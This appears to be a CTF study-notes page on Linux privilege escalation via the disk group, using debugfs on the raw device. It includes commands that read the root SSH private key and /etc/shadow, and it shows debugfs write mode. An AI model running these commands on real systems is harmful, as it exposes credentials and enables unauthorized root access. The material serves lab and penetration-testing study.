> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/priv-esc/linux-privilege-escalation/interesting-groups.md).

# Interesting Groups

## Disk Group

This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.

```bash
df -h #Find where "/" is mounted
debugfs /dev/sda1
debugfs: cd /root
debugfs: ls
debugfs: cat /root/.ssh/id_rsa
debugfs: cat /etc/shadow
```

Note that using debugfs you can also **write files**.

```bash
debugfs -w /dev/sda1
debugfs:  dump /tmp/asd1.txt /tmp/asd2.txt
```

### Resources

debugfs - Linux manual page: <https://www.man7.org/linux/man-pages/man8/debugfs.8.html>

Disk Group Privilege Escalation - Hacking Articles: <https://www.hackingarticles.in/disk-group-privilege-escalation/>

Disk Group - HackTricks: <https://hacktricks.wiki/en/linux-hardening/privilege-escalation/interesting-groups-linux-pe/index.html#disk-group>